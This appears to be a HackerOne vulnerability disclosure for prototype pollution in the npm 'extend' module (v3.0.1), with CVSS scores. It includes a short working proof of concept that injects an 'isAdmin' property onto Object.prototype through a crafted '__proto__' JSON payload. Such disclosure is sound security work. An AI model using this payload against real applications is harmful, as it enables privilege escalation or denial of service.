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hackeroneAsgerfH1:381185
HistoryJul 13, 2018 - 10:04 a.m.

Node.js third-party modules: Prototype pollution attack (extend)

2018-07-1310:04:52
asgerf
hackerone.com
21

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

69.5%

I would like to report prototype pollution in extend
It allows an attacker to inject properties on Object.prototype.

Module

module name: extendversion:3.0.1npm page: https://www.npmjs.com/package/extend

Module Description

node-extend is a port of the classic extend() method from jQuery. It behaves as you expect. It is simple, tried and true.

> Note: The github project is called node-extend but the NPM package is just extend

Module Stats

7M downloads in the last week

Vulnerability

Vulnerability Description

This is a variant of this vulnerability:
https://hackerone.com/reports/310443

The extend function can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

Craft an object of form {__proto__: {...}} and send it to extend(true, {}, ...).

let extend = require('extend');
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
extend(true, {}, payload);
console.log({}.isAdmin); // true

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Impact

Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

69.5%